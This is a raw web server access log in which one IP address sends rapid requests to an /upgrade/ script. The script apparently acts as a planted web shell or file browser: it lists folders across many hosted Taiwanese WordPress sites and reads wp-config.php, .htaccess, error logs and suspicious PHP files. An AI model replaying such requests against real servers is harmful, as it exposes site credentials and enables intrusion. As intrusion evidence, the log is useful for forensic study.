45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9895 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 25691 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 11957 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 10659 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9921 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 8298 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw HTTP/1.1" 200 8300 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw HTTP/1.1" 200 8283 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw HTTP/1.1" 200 8290 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9199 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw HTTP/1.1" 200 8302 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw HTTP/1.1" 200 8285 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 53203 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7860 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw HTTP/1.1" 200 8261 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade HTTP/1.1" 200 6434 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW HTTP/1.1" 200 7972 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content HTTP/1.1" 200 5984 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=dir HTTP/1.1" 200 8972 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw HTTP/1.1" 200 8341 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw HTTP/1.1" 200 8426 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw HTTP/1.1" 200 8318 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin HTTP/1.1" 200 6181 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9462 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:45 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 21605 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2F HTTP/1.1" 200 5746 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8972 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw HTTP/1.1" 200 8295 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=folder HTTP/1.1" 200 8972 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw HTTP/1.1" 200 8216 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw HTTP/1.1" 200 8310 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw HTTP/1.1" 200 8282 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=file HTTP/1.1" 200 8820 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw HTTP/1.1" 200 8238 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw HTTP/1.1" 200 8028 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw HTTP/1.1" 200 8298 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2F HTTP/1.1" 200 7797 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 20973 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 10212 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2F HTTP/1.1" 200 7859 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fwp-admin HTTP/1.1" 200 13201 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F&option=file HTTP/1.1" 200 8319 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 10847 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8591 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 9862 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 10290 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8971 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:47 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8596 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 9467 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 52580 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 11354 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 10728 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 9673 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
